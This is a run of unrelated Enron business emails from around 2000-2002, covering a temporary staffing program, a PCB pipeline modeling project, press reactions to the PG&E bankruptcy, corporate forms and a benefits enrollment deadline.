necessary for the ABB contract.  Please comment on the attached, suggest 
changes, etc.  

I will add a rep. or condition about receiving all the change orders, etc, 

FYI, I will be working on this over the weekend, should you care to comment.

Kay

Attached is a Merrill Lynch report concerning Sempra and rate uncertainty in 
Southern California. 

Thanks,  we have it wrong in the system.

As you are aware, Enron utilizes temporary staffing services to satisfy=20
staffing requirements throughout the company.  For the past several months,=
 a=20
project team, representing Enron=01,s temporary staffing users, have resear=
ched=20
and evaluated alternative Managed Services programs to determine which sour=
ce=20
would best meet our current and future needs in terms of quality, performan=
ce=20
and cost containment objectives.  The Business Unit Implementation Project=
=20
Team members are:=20

Laurie Koenig, Operations Management, EES
Carolyn Vigne, Administration, EE&CC
Linda Martin, Accounting & Accounts Payable, Corporate
Beverly Stephens, Administration, ENA
Norma Hasenjager, Human Resources, ET&S
Peggy McCurley, Administration, Networks
Jane Ellen Weaver, Enron Broadband Services
Paulette Obrecht, Legal, Corporate
George Weber, GSS

In addition, Eric Merten (EBS), Kathy Cook (EE&CC), Carolyn Gilley (ENA),=
=20
Larry Dallman (Corp/AP), and Diane Eckels (GSS) were active members of the=
=20
Selection Project Team.

As a result of the team=01,s efforts, we are pleased to announce the beginn=
ing=20
of a strategic alliance with CORESTAFF=01,s Managed Services Group.  This g=
roup=20
will function as a vendor-neutral management entity overseeing all staffing=
=20
vendors in the program scope. They will also provide a web based online=20
technology tool that will enhance the ordering and reporting capabilities. =
=20
The goal of our alliance with CORESTAFF is to make obtaining a temporary=20
worker with the right skills and experience easier while protecting the bes=
t=20
interests of the organization.=20

We plan to implement Phase I of this improvement effective January 2, 2001.=
 =20
This Phase I of the implementation will encompass administrative/clerical=
=20
temporary workers at the Houston locations only. If you currently have=20
administrative/clerical temporary workers in your department, the enhanceme=
nt=20
will not affect their position. In an effort to preserve relationships, all=
=20
current staffing vendors will be invited to participate in this enhanced=20
program.  CORESTAFF shares our commitment to minimize any disruptions in=20
service during this transition.=20
=20
We expect to incorporate the administrative/clerical workers in Omaha,=20
Seattle and Portland in Phase II, which is scheduled for February, 2001.  T=
he=20
scope and timing of any additional phases will be determined after these tw=
o=20
phases have been completed.

Realizing the impact that the temporary workforce has in business today, we=
=20
selected CORESTAFF=01,s Managed Services Group based on their exceptional=
=20
management team, commitment to quality service, and creative solutions to o=
ur=20
staffing needs.  The relationship promises to offer Enron a cost effective=
=20
and simple means for obtaining temporary employees.

In the coming weeks, Enron and CORESTAFF=01,s Managed Services Group will b=
e=20
communicating to Enron=01,s administrative/clerical temporary staffing vend=
ors=20
about the new process. =20

There are many benefits to this new Managed Services program, which are=20
outlined on the attached page.  More details on how to utilize CORESTAFF=01=
,s=20
Managed Services program will be announced soon and meetings will be=20
scheduled to demonstrate the reporting system and to meet the Managed=20
Services team.

What is Managed Services?

CORESTAFF=01,s Managed Services program includes:

? Vendor-neutral management model
? Equal distribution of staffing orders to all staffing partners
? Web-based application with online ordering, data capture and customized=
=20
reporting
? Benchmarking and performance measurement for continuous improvement
? Methodologies for accurate skill-matching and fulfillment efficiencies=20

Key Benefits

? More vendors working on each order from the outset =01) faster access to=
=20
available talent pools
? Standardized mark-ups and fees to manage costs more effectively
? Online access to requisition status for users=20
? Robust databases offering managers enhanced tracking and reporting of=20
temporary usage and expenditures
? Standard and customized reporting capabilities -- online
? Tenured, experienced Managed Services team on-site to assist users in=20
accessing web site, identifying usage trends, preparing specialized reports=
,=20
etc. =20

Corestaff/Managed Services/Staffing

Joseph Marsh =01) Lead / Operations (josephm@corestaff.com; 713-438-1400)
Amy Binney, Sharon B. Sellers =01) Operations
Cherri Carbonara =01) Marketing / Communications
Cynthia Duhon =01)Staffing Partner management

This is just a short update on the conference call just completed with 
Michael Adewumi of Penn State, concerning the PCB pipeline modeling project 
proposed for the Transwestern mainline system.  David Roensch, Dr. Adewumi 
and myself discussed the latest proposal submitted by Adewumi and based upon 
his answers to the technical and operational questions, it appears that the 
model will yeild some useful information.  Adewumi was asked about the 
simultaneous modeling of PCB's and arsenic and feels that the model can 
address this situation.  He felt that by initiating the model to the pipeline 
segement  selected for the study (between C/S 4 and C/S3) this information 
could be projected to the other pipeline segments with physical and 
elevational conditions not represented in the segment selected.  As is the 
case with most projects of this nature, answers to some questions cannot be 
addressed until we begin the process. 

It appears that the next step in this process is to have Mike Terraso contact 
Michael Adewumi.  David Roensch and I will be available to feed technical and 
operational information to Adewumi for his modeling input.  It may also be in 
the best interest of this project  to see a team of technical and operational 
experts from Enron and Transwestern begin a  brain stroming of this project 
during the data input stage to address issues related to the field cleaning 
trials, both of the pipeline system and the C/S piping.  By working through 
the process, we may be able to alleviate some potential concerns  and 
increase the cleaning success.  Although Transwestern has been involved in 
this type of cleaning for a number of years, based upon the liquids data 
results, the system has met with variable success.  The more technical and 
operational information we can incorporate into the model, the better will be 
the modeling conclusions and results of the  cleaning activity. 

Janel

I'm not sure.  I thought the meeting was being set up to coordinate efforts 
between regulatory, legal and ENA and EES.  The meeting was requested by 
Christi Nicollay.

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Ditto Credit. 

	Tana Jones@ECT
	04/19/2001 08:43 AM
		 
		 To: Alan Aronowitz/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT, Marcus 
Nettelton/NA/Enron@ENRON, Harry M Collins/HOU/ECT@ECT, David 
Minns/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Marie Heard/Enron 
Communications, John Viverito/Corp/Enron@Enron, Jane McBride/AP/Enron@Enron, 
Andrea Calo/SA/Enron@Enron, Peter Keohane/CAL/ECT@ECT
		 cc: 
		 Subject: EOL approvals, 04-18-01

----- Forwarded by Tana Jones/HOU/ECT on 04/19/2001 08:43 AM -----

	Walter Guidroz/ENRON@enronXgate
	04/18/2001 05:27 PM
		 
		 To: Karen Lambert/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT, Samuel 
Schott/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Brant Reves/ENRON@enronXgate, 
Campbell/ENRON@enronXgate, Cynthia Clark/ENRON@enronXgate, Enron Europe 
Global CounterParty/LON/ECT@ECT, Stephanie Sever/ENRON@enronXgate, Tom 
Moran/ENRON@enronXgate, Claudia Clark/ENRON@enronXgate, William S 
Bradford/ENRON@enronXgate, Lisa Lees/HOU/ECT@ECT, Juana 
Fayett/Corp/Enron@Enron, Jana Morse/Corp/Enron@Enron, Trang Le/HOU/ECT@ECT, 
Paul Maley/LON/ECT@ECT, Sonya Clarke/LON/ECT@ECT, Tim Davies/LON/ECT@ECT, 
Karen O'day/ENRON@enronXgate, Tanya Rohauer/ENRON@enronXgate, Kelly 
Lombardi/NA/Enron@Enron, Brian Lindsay/Enron Communications@Enron 
Communications, EOL Call Center@ECT, Bernice Rodriguez/HOU/ECT@ECT, Bill D 
Hare/HOU/ECT@ect, Amy Heffernan/Enron Communications@Enron Communications, 
Molly LaFuze/Enron Communications@Enron Communications, Danny Clark/Enron 
Communications@Enron Communications, Stephanie Panus/NA/Enron@Enron, Teresa 
Mandola/ENRON@enronXgate, Bill Kyle/ENRON@enronXgate
		 cc: 

----- Forwarded by Jeff Dasovich/NA/Enron on 04/06/2001 05:25 PM -----

	Jean Munoz <jmunoz@mcnallytemple.com>
	04/06/2001 06:05 PM
		 
		 To: "'Andy Brown (E-mail)'" <ABB@eslawfirm.com>, "'B Brown Andy (E-mail)'" 
<andybrwn@earthlink.net>, "'Baker Carolyn (E-mail)'" 
<cabaker@duke-energy.com>, "'Bob Escalante (E-mail)'" 
<rescalante@riobravo-gm.com>, "'Bob Weisenmiller (E-mail)'" 
<rbw@mrwassoc.com>, "'Curtis Kebler (E-mail)'" 
<curtis_l_kebler@reliantenergy.com>, "Dean. Nistetter (E-mail)" 
<Dean.Nistetter@dynegy.com>, "'Douglas Kerner (E-mail)'" <DKK@eslawfirm.com>, 
"'Greg Blue (E-mail)'" <gtbl@dynegy.com>, "'Jan Smutny-Jones (E-mail)'" 
<smutny@iepa.com>, "'Jeff Dasovich (E-mail)'" <Jeff.Dasovich@enron.com>, 
"'Joe Ronan (E-mail)'" <joer@calpine.com>, "'John Larrea (E-mail)'" 
<john.g.larrea@williams.com>, "'John Stout (E-mail)'" 
<John_H_Stout@reliantenergy.com>, "'Julee Malinowski-Ball (E-mail)'" 
<jmball@ns.net>, "'Kassandra Gough (E-mail)'" <kgough@calpine.com>, "'kent 
Palmerton (E-mail)'" <kent.palmerton@williams.com>, "'Lynn Lednicky 
(E-mail)'" <lale@dynegy.com>, "Marie Moretti (E-mail 2)" 
<mmoretti@mccabeandcompany.net>, "'Marty Wilson (E-mail)'" 
<mwilson@pstrategies.com>, "'McNally Ray (E-mail)'" 
<rmcnally@mcnallytemple.com>, "''Nam Nguyen' (E-mail)'" 
<nam.nguyen@powersrc.com>, "'Norton Kelli (E-mail)'" 
<knorton@mcnallytemple.com>, "'Paula Hall-Collins (E-mail)'" 
<paula.hall-collins@williams.com>, "'Pigott Jack (E-mail)'" 
<jackp@calpine.com>, "'Richard Hyde (E-mail)'" <rwhyde@duke-energy.com>, 
"'Roger Pelote (E-mail)'" <roger.pelote@williams.com>, "'Stephanie-Newell 
(E-mail)'" <stephanie-newell@reliantenergy.com>, "'Sue Mara (E-mail)'" 
<smara@enron.com>, "'Tom Ross (E-mail)'" <tross@mcnallytemple.com>, "Tom 
Williams (E-mail)" <tcwillia@duke-energy.com>, "'Alex Sugaoka (E-mail)'" 
<alex.sugaoka@uaecorp.com>, "'Bill Carlson (E-mail)'" 
<william_carlson@wastemanagement.com>, "'Bill Woods (E-mail)'" 
<billw@calpine.com>, "'Bob Ellery (E-mail)'" <bellery@spi-ind.com>, "'Bob 
Gates (E-mail)'" <bob.gates@enron.com>, "'Cody Carter (E-mail)'" 
<cody.carter@williams.com>, "'Curt Hatton (E-mail)'" 
<Curt.Hatton@gen.pge.com>, "'David Parquet'" <david.parquet@enron.com>, 
"'Dean Gosselin (E-mail)'" <dean_gosselin@fpl.com>, "'Doug Fernley (E-mail)'" 
<fernley.doug@epenergy.com>, "'Duane Nelsen (E-mail)'" 
<dnelsen@gwfpower.com>, "'Ed Tomeo (E-mail)'" <ed.tomeo@uaecorp.com>, 
"'Eileen Koch (E-mail)'" <eileenk@calpine.com>, "'Eric Eisenman (E-mail)'" 
<eric.eisenman@gen.pge.com>, "'Frank DeRosa (E-mail)'" 
<frank.derosa@gen.pge.com>, "Frazier Blaylock (E-mail)" 
<frazier_blaylock@ogden-energy.com>, "'Hap Boyd (E-mail)'" 
<Hap_Boyd@enron.com>, "'Hawks Jack (E-mail)'" <jack.hawks@gen.pge.com>, "'Jim 
Willey (E-mail)'" <elliottsa@earthlink.net>, "'Joe Greco (E-mail)'" 
<jgreco@caithnessenergy.com>, "'Jonathan Weisgall (E-mail)'" 
<jweisgall@aol.com>, "'Kate Castillo (E-mail)'" <CCastillo@riobravo-gm.com>, 
"'Kelly Lloyd (E-mail)'" <kellyl@enxco.com>, "'Ken Hoffman (E-mail)'" 
<khoffman@caithnessenergy.com>, "'Kent Fickett (E-mail)'" 
<kfickett@usgen.com>, "'Lynn Lednicky (E-mail)'" 
<lynn.a.lednicky@dynegy.com>, "'Marty McFadden (E-mail)'" 
<marty_mcfadden@ogden-energy.com>, "'Paula Soos'" 
<paula_soos@ogden-energy.com>, "'Randy Hickok (E-mail)'" 
<rjhickok@duke-energy.com>, "Rick S. Koebbe (E-mail)" 
<rskoebbe@powerworksinc.com>, "'Rob Lamkin (E-mail)'" 
<rllamkin@seiworldwide.com>, "'Ross Ain (E-mail)'" <ain@worldnet.att.net>, 
"'Steve Iliff'" <siliff@riobravo-gm.com>, "'Steve Ponder (E-mail)'" 
<steve_ponder@fpl.com>, "'Tony Wetzel (E-mail)'" <twetzel@thermoecotek.com>, 
"'William Hall (E-mail)'" <wfhall2@duke-energy.com>, 
<trusso@mcnallytemple.com>, <sadlersa@earthlink.net>, <mstultz@epsa.org>, 
<rtemple@mcnallytemple.com>, <tracy.fairchild@edelman.com>, 
<megan.beiser@edelman.com>, <deborah.fiorito@dynegy.com>, <lchurch@epsa.org>, 
Katie Kaplan <kaplan@iepa.com>, <tcwillia@duke-energy.com>, 
<rwhyde@duke-energy.com>, Beth Miller <bam_miller@hotmail.com>, 
<rlapsley@yahoo.com>, Jonathan Wilcox <wilcoxjr@earthlink.net>, Alfie Charles 
<alfie_charles@hotmail.com>
		 cc: 
		 Subject: Others reactions to PG&E bankruptcy

Following are reactions from:

IBEW 
Duke 
Reliant 
Sempra 
Fitch

FYI, Jan reacted on behalf of IEP during a media teleconference earlier 
today, and also by a statewide satellite feed.

Thanks - Jean

-- 
Jean Munoz
McNally Temple Associates, Inc.
916-447-8186
916-447-6326 (fx)

IBEW Statement on PG&E Bankruptcy

PR Newswire
04/06/01, 5:02p
(Copyright , 2001, PR Newswire)

WASHINGTON, April 6 /PRNewswire/ -- In response to the bankruptcy 
announcement made by Pacific Gas and Electric, Edwin D. Hill, International 
President of the International Brotherhood of Electrical Workers (IBEW), 
issued the following statement. 

"Pacific Gas and Electric's filing for bankruptcy could make a dire situation 
in California even worse. On behalf of the 13,500 IBEW Local Union 1245 
members employed by PG&E and the public they serve, we believe it is 
imperative that constructive action be taken now.

"Specifically, we call on the Federal Energy Regulatory Commission (FERC) to 
stop dragging its feet and impose price controls on the wholesale electricity 
market in California. It is obvious that price gouging by wholesale suppliers 
has bled dry the investor-owned utilities and precipitated this crisis. The 
state has purchased power in an effort to prop up the system, but it too has 
paid the same inflated prices. This only threatens California's budget 
surplus and places an unfair burden on taxpayers while doing nothing to 
address the root of the problem.

"We also believe that it is time for government and industry to work together 
to jump start projects to improve the interconnected transmission grid in the 
Western states so that power can be quickly and efficiently moved to where it 
is needed. Prompt action on such projects could have helped alleviate the 
current problems, and they should commence with all due speed.

"Another factor that has driven the crisis is the lack of adequate generation 
facilities to power the growth of California and other Western states. We 
urge the Western Governors Association to take the lead in helping to chart a 
course that will bring more facilities on line and provide short and long 
term solutions to these difficulties.

"Even though we have been assured that PG&E employees will still be paid, and 
we know that their pensions are protected by law, we will fight to ensure 
that our collective bargaining rights are honored during this process. We 
will work with our Local Union 1245, utility management, Governor Davis and 
all other parties to restore sanity and reliability to California's gas and 
electricity systems." 

SOURCE International Brotherhood of Electrical Workers 

/CONTACT: Jim Spellane of the International Brotherhood of Electrical 
Workers, 202-728-6014/ 

Duke Energy Statement Regarding Pacific Gas & Electric Company Filing for 
Chapter 11 Reorganization

04/06/01, 4:34p

CHARLOTTE, N.C., April 6 /PRNewswire/ -- Duke Energy Corporation (NYSE: DUK) 
today issued the following statement: 

We regret that the collective actions to mitigate Pacific Gas & Electric's 
(PG&E) financial crisis were unsuccessful in keeping it from filing for 
Chapter 11 reorganization. However, the Chapter 11 filing provides a defined 
process to collect our past receivables and keep PG&E in business going 
forward.

Duke Energy had taken a number of aggressive steps to limit its financial 
exposure to uncertainties in California's energy market, including the 
potential bankruptcy of the state's investor-owned utilities. The company has 
also sold a significant portion of its energy output from its California 
plants through fixed-price, forward contracts to creditworthy entities.

Duke Energy continues to operate its power plants in California efficiently 
and effectively to supply the state's energy needs. The company is working 
with federal and state officials and members of the state legislature to help 
California solve its electricity problems.

Duke Energy, a diversified multinational energy company, creates value for 
customers and shareholders through an integrated network of energy assets and 
expertise. Duke Energy manages a dynamic portfolio of natural gas and 
electric supply, delivery and trading businesses -- generating revenues of 
more than $49 billion in 2000. Duke Energy, headquartered in Charlotte, N.C., 
is a Fortune 100 company traded on the New York Stock Exchange under the 
symbol DUK. More information about the company is available on the Internet 
at: www.duke-energy.com. 

SOURCE Duke Energy Corporation 

/CONTACT: Bryant Kinney of Duke Energy Corporation, 704-382-2208, or 24-Hour, 
704-382-8333/ 

/Company News On-Call: http://www.prnewswire.com/comp/257451.html or fax, 
800-758-5804, ext. 257451/ 

/Web site: http://www.duke-energy.com / 

Reliant Energy Says Bankruptcy Action By Pacific Gas and Electric Co. Not 
Unexpected

04/06/01, 4:11p

HOUSTON, April 6 /PRNewswire/ -- Reliant Energy (NYSE: REI) said today that 
the bankruptcy filing announced by Pacific Gas and Electric Company was not 
an unexpected occurrence and does not increase Reliant Energy's financial 
exposure.

Steve Letbetter, Reliant Energy chairman, president, and chief executive 
officer, said Reliant Energy planned for such a possibility during the fourth 
quarter 2000 and continues to do so.

"Our exposure to financial risk as a result of Pacific Gas and Electric's 
action is not expected to increase," Letbetter said. "This development does 
not impact the level of first quarter results we have previously anticipated. 
We established a $39 million reserve in the fourth quarter of 2000, and we 
will continue to reserve appropriate funds."

According to Letbetter, bankruptcy is one of the mechanisms that will get 
outstanding receivables paid and can be a part of an overall, constructive 
solution to California's energy crisis.

"Despite this bankruptcy action, Reliant Energy will continue to work with 
the state to ensure our generating plants are available to serve California's 
electricity needs," Letbetter said. "We remain committed to helping find a 
long-term solution to California's energy crisis."

Reliant Energy plans to release its earnings on Monday, April 16.

Reliant Energy, based in Houston, Texas, is an international energy services 
and energy delivery company with approximately $29 billion in annual revenue 
and assets totaling more than $32 billion. The company has more than 23,000 
megawatts of power generation in operation in the U.S. and is one of only 
three companies to rank among both the five largest power marketers and the 
five largest natural gas marketers in the nation. The company also has 
wholesale trading and marketing operations and more than 3,400 megawatts of 
power generation in Western Europe. Reliant Energy's retail marketing and 
distribution operations serve nearly four million electricity and natural gas 
customers in the U.S., and its Internet infrastructure and communications 
company serves business customers in Texas.

For more information about Reliant Energy, visit the company's website at 
www.reliantenergy.com. 

SOURCE Reliant Energy 

/CONTACT: media, Richard Wheatley, 713-207-5881, or investors, Dennis Barber, 
713-207-3042, both of Reliant Energy/ 

Sempra Energy And SDG&E Reaffirm Strong Financial Position in Response to 
PG&E Bankruptcy

Business Wire
04/06/01, 4:00p
(Copyright , 2001, Business Wire)

SAN DIEGO--(BUSINESS WIRE)--April 6, 2001--Sempra Energy and San Diego Gas & 
Electric (SDG&E) officials took the opportunity of today's Chapter 11 
bankruptcy announcement by Pacific Gas & Electric (PG&E) to reaffirm their 
companies' strong financial position and the significant regulatory and 
legislative differences between SDG&E and PG&E.

"We want to reassure our customers and shareholders that Sempra Energy and 
SDG&E remain very strong and financially viable companies," said Stephen L. 
Baum, chairman, president and chief executive officer of Sempra Energy, the 
parent company of SDG&E. "SDG&E is continuing its record of providing safe 
and reliable gas and electric service for our 1.2 million customers today, 
tomorrow and for years to come. There are several significant financial, 
legislative and regulatory differences that distinguish Sempra Energy and 
SDG&E from PG&E."

SDG&E is covered under Assembly Bill 265, a law signed by the Governor last 
September which guaranteed that SDG&E will be able to collect the difference 
between the capped price of electricity and the wholesale cost of power, 
providing the power was prudently purchased. PG&E is not covered by AB 265 
and that guarantee. At the end of February, the under-collection in the 
balancing account was $681 million. Since the state's power procurement 
agency, the California Department of Water Resources (DWR), has been 
purchasing power for SDG&E, the growth of the company's balancing account has 
slowed significantly.

Unlike PG&E, SDG&E has been able to pay its wholesale electric bills to the 
DWR, the California Independent System Operator, the California Power 
Exchange and Qualifying Facilities that cogenerate power for the utility. 
Additionally, the Sempra Energy companies have no significant credit exposure 
to PG&E.

"Sempra Energy and SDG&E have long advocated that the Federal Energy 
Regulatory Commission institute temporary regional wholesale price caps to 
help stem the financial problems such as those experienced by PG&E," Baum 
added. "We are also committed to promoting and instituting comprehensive 
energy conservation programs for all customers to help control bills and 
decrease the chances of rotating outages this summer."

Sempra Energy (NYSE: SRE), based in San Diego, is a Fortune 500 energy 
services holding company with 12,000 employees and annual revenues of $5.4 
billion. Through its eight principal subsidiaries -- SoCalGas, SDG&E, Sempra 
Energy Solutions, Sempra Energy Trading, Sempra Energy International, Sempra 
Energy Resources, Sempra Communications and Sempra Energy Financial -- Sempra 
Energy serves more than 9 million customers in the United States, Europe, 
Canada, Mexico and South America.

   CONTACT:  Sempra Energy
             Laura Farmer/Art Larson, 877/866-2066 (Media)
             www.sempra.com
                   or
             Karen Sedgwick, 877/736-7727 (Investors)

Fitch Cuts Pacific Gas and Electric, So Cal Edison Ratings

04/06/01, 4:57p

NEW YORK--(BUSINESS WIRE)--April 6, 2001--Fitch has lowered its ratings for 
Pacific Gas and Electric Company (Pac Gas) senior secured and preferred 
securities into the default category based on the utility's voluntary filing 
today of a petition under Chapter 11 of the U.S. Bankruptcy Code.

Fitch also believes that Pac Gas' bankruptcy filing could complicate Southern 
California Edison's (So Cal Ed) likelihood of accomplishing a sale of its 
transmission assets to the State of California. Consequently, Fitch has 
lowered So Cal Ed's senior secured debt rating and changed the Ratings Watch 
to Negative from Evolving. The Ratings Watch status of Edison International, 
the parent of So Cal Ed, is also changed to Negative from Evolving. The new 
ratings are:

Pacific Gas and Electric Company

   First Mortgage Bonds to `DDD' from `B-`;
   Preferred Securities to `D' from `C';
   Commercial Paper `D' Unchanged;
   Rating Watch Not applicable Negative.

   Fitch does not rate the securities of PG&E Corp.

   Southern California Edison Company

   Senior Secured Debt to `CCC' from `B-`;
   Senior Unsecured Debt `CC' unchanged;
   Preferred Stock `C' unchanged;
   Commercial Paper `D' unchanged;
   Changed to Rating Watch Negative from Rating Watch Evolving.

   Edison International

   Senior Unsecured Notes `CC' unchanged;
   Trust Preferred Securities `C' unchanged;
   To Rating Watch Negative from Rating Watch Evolving.

Pacific Gas and Electric Company is a wholly owned subsidiary of PG&E Corp., 
and is based in San Francisco, CA. Southern California Edison is a wholly 
owned subsidiary of Edison International, and is based in Rosemead, 
California.

   CONTACT: Fitch 
            Lori R. Woodland, 1-312/606-2309, Chicago 
            Steven Fetter, 1-212/908-0555, New York

Shmuel,

What about the following: "Volatility of Electricity Prices. Measurement and
Analysis of Underlying Causes."

What about dinner on the 23rd, following the presentation?  I shall be on the
campus on the 16th, but it seems that my presentation to the students will
end rather late (assuming they will show up). Please, let me know what you
think.

Vince
  
Here are my comments to the draft response:

4.  I'm a bit troubled by the first sentence, since I really don't know what 
may have been on the drawing board earlier.  Maybe someone else can vouch for 
this statement. Otherwise, I suggest deleting it.

17.  The reference to NC Power utilizing the plant should be Applicant (third 
sentence).

18.  I would change the second sentence to begin "It is intended that the 
plant will be designed, constructed and operated...."

Kay

We have received a copy of an executed Assignment and Novation of 
Transactions dated July, 20, 1999, as amended August 3, 1999, effective on 
August 12, 1999, wherein Merrill Lynch Capital Services, Inc. assigned  
certain transactions to J. Aron and Company.  A copy of the assignment will 
be distributed.

Hi Vince,

Well I am speaking at Risk 2001 (which is the combination of Risk 2000 and
the Australian Energy Risk 2000)on the 20th, 21st and 22nd of August in
Sydney Australia. I was hoping to see you again but you are not speaking
this year.

Well I left iEnergy as a Risk Analyst (www.ienergyglobal.com) to Intelligent
Energy Systems as a Market Analyst (www.iesys.com) ~ who have a licence in
Enron Sydney for Prophet (Price Forecaster). After my probabation they
offered me a good salary and permanent position (this was an awesome job)
but I was offered an Associate Lecture in the School of Banking, Finance and
Accounting at Griffith University in Brisbane, Queensland, Australia. Maybe
I am following your starting career in Academia.

I had an interview with Enron Sydney with Raymond Yeow (but did not make the
grade) ~ pricing interruptible options. Well my other friend Quentin Kerr
who sent over his papers with (Professor Burrage and Professor Gray from the
University of Queensland) to you had an interview with your Houston office
(but he did not make the grade) also.By the way how were the papers?

Still I am determined to write more papers in this huge market and maybe I
will catch up with you on the American or European Conference Circuit.

Kind Regards

Glen Dixon
Associate Lecture
School of Banking, Finance and Accounting
Griffith University
Brisbane, Qld, Australia
Email: G.Dixon@mailbox.gu.edu.au

P.S I am doing some course on Dreamweaver so hopefully I will improve my
homepage in the future: Energy Exchange
(www.acmc.uq.edu.au/~gwd/EnergyExchange.html)

http://entertainment.msn.com/tv/gist/thu04.asp

Mitch,
What is sul's email address?

Later,

Rick

_____________________________________________________________
http://www.osubeavers.com - The Official Athletic Site of Oregon State
Beaver Fans! Get your FREE email at --> http://mail.osubeavers.com!

yeah, you can bring him - it wouldn't hurt to have another guy

Micah Hatten@EES
10/18/2000 01:24 PM
cc:  
Subject: Re: Game Tonight @ 7  

I will be there - if you need another guy, let me know.  I know another 
analyst who would play.

See new authorization forms attached below.  Deb

Deb Korkmas
EWS Legal Dept.
1400 Smith Street, Room 3819
Phone:  713-853-5448
Fax:  713-646-3393
----- Forwarded by Deb Korkmas/HOU/ECT on 03/02/2001 01:22 PM -----

	Geneva Holland/ENRON@enronXgate
	02/23/2001 05:25 PM
		 
		 To: John Ale/HOU/AZURIX@AZURIX, Elizabeth Labanowski/ENRON@enronXgate, Bruce 
Lundstrom/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Marc Manly/HOU/EES@EES, Jordan 
Mintz/ENRON@enronXgate, Kristina Mordaunt/Enron Communications@Enron 
Communications, Eric Newell/EWC/Enron@ENRON, Janet Place/NPNG/Enron@ENRON, 
Molly Sample/Houston/Eott@Eott, John 
Schwartzenburg/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Vicki Sharp/HOU/EES@EES, 
Stephen Wallace/Corp/Enron@ENRON, Rob Walls/ENRON@enronXgate, Randy 
Young/NA/Enron@Enron, Denise Almoina/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Martha Braddy/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, William E 
Brown/ENRON@enronXgate, Sarah Bruck/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, 
Cindy Buckley/LON/ECT@ECT, Kathleen Carnahan/NA/Enron@Enron, Kim 
Collins/HOU/EES@EES, Julie Delahay/EWC/Enron@ENRON, Rosy 
Duron/ENRON@enronxgate, Carol Essig/ENRON@enronXgate, Nony 
Flores/HOU/ECT@ECT, Brenda L Funk/ENRON@enronXgate, Lauren 
Hagerty/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Barbara Hankins/HOU/EES@EES, Ed 
B Hearn III/HOU/ECT@ECT, Mary J Heinitz/HOU/ECT@ECT, Robin Hill/Enron 
Communications@Enron Communications, Gina Karathanos/ENRON@enronXgate, Sue 
Kelly/LON/ECT@ECT, Deb Korkmas/HOU/ECT@ECT, Matt Maxwell/Corp/Enron@ENRON, 
Darlene McKeever/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Wyndel 
McNamara/NA/Enron@ENRON, Stephanie Moorehead/HOU/EES@EES, Nancy 
Muchmore/NA/Enron@Enron, Mary Ogden/HOU/ECT@ECT, Larry 
Pardue/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Claudia Santos/Corp/Enron@Enron, 
Tami Scrudder/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Norma 
Tidrow/HOU/AZURIX@AZURIX
		 cc: Hardie Davis/ENRON@enronXgate, Rebecca Carter/Corp/Enron@ENRON, Lillian 
Bailey/ENRON@enronXgate, Teresa Callahan/ENRON@enronXgate, Kate 
Cole/ENRON@enronXgate, Irene Garcia/ENRON@enronXgate, LaShonda 
LaDay/ENRON@enronXgate, Peggy Miller/ENRON@enronXgate, Lori 
Pinder/ENRON@enronXgate, Renee Rodriguez/ENRON@enronXgate, Tanya 
Sanford/ENRON@enronXgate
		 Subject: Corp Services Authorization Memos

Attached are 3 updated Word forms for requesting new US entities (Corp, LLC, 
LP).  Unless you have access to our automated HotDocs system for requesting 
Secretary of State corporate activities, please use the attached forms (and 
delete data files for older versions).  Although these forms are not as user 
friendly as our HotDocs templates, they have been conformed as nearly as 
possible to the HotDocs forms, and are now as automated as MicroSoft Word 
will allow.  I think you will find these a great improvement over our old 
forms.  Please forward these new forms to anyone in your group who might need 
to create a new domestic entity.

I continue work on HotDocs templates and Word forms for authorization of US 
mergers, acquisitions, name changes, and for similar activities for non-US 
entities, and will make those available to you ASAP.  In the meantime, if you 
have any questions or comments regarding Corp Services forms, please contact 
me via email or call me at Ext 37291.

Geneva K. Holland
Asst Secretary & Mgr Corp Svcs
(713)853-7291
EB4802

Dear Members of the MC, BIC, OC, and TIE List,

Attached, please find the NYISO Weekly Update.  This Update
is written jointly by Mollie Lampi and other NYISO staff.

The NYISO Weekly Update provides a brief status report of, or
progress on, a range of issues that are under discussion at NYISO
Committee meetings or are being undertaken by NYISO Staff.

Many, but not all, of these issues are being addressed through the
NYISO Committee structure.  Market participants may raise any
comments or questions on items covered in the update through
the Committee structure, or directly to Mollie Lampi (mlampi@nyiso.com.).

You can find editions of the Weekly Update on the "NYISO
Committees" page of the NYISO web site:
http://www.nyiso.com ---> Hot Topics ---> Committees ---> Weekly Update

or by clicking on the following link:
http://www.nyiso.com/services/documents/groups/weekly_updates/wkly_updates.htm
l

(See attached file: NYISO Weekly Update May 9, 2001.pdf)

 - NYISO Weekly Update May 9, 2001.pdf

thank you

From: 	Buckley, Karen  
Sent:	Tuesday, February 05, 2002 11:31 AM
Cc:	Fitzpatrick, Amy
Subject:	RE: Employment with UBS

Thanks, their data could have crossed. I will advise UBS that it was sent.

Thanks Scott!.

Karen.
From: 	Neal, Scott  
Sent:	Tuesday, February 05, 2002 9:42 AM
To:	Buckley, Karen

I meant Amy Fitzpatrick.

Sent:	Monday, February 04, 2002 6:27 PM
Subject:	Employment with UBS

 << File: EmpApp.pdf >> 

I have received a note from UBS to say they have not received your employement application form.  Pls completed the attached form and return to me.   Please ensure the following:

1.	You put city and state in the school/college section 
2.	You complete a 10 year history of work (if in College/not working/ etc  please state with dates).

Regards,

ECS 05845

Hello Eric

Jennifer Blevins of El Paso (713.420.3704) is trying to get in touch with you.  Please give her a call when possible.  Thank you

Stephanie

OPEN ENROLLMENT 2001 DEADLINE EXTENDED

Due to a very heavy, last minute influx of employees trying to make elections 
and/or changes to their 2001 benefits, the open enrollment 2001 deadline has 
been extended until 5pm Central Time on Friday, November 17th.  

Please continue to access the web at www.enron.benefitsnow.com or the IVR at 
1-800-425-5864.  

You must have your 2001 open enrollment personal worksheet that contains your 
personal identification number (PIN - located in the upper right hand corner 
of your worksheet) in order to access the web or IVR.

Steve, Dan W. et al:

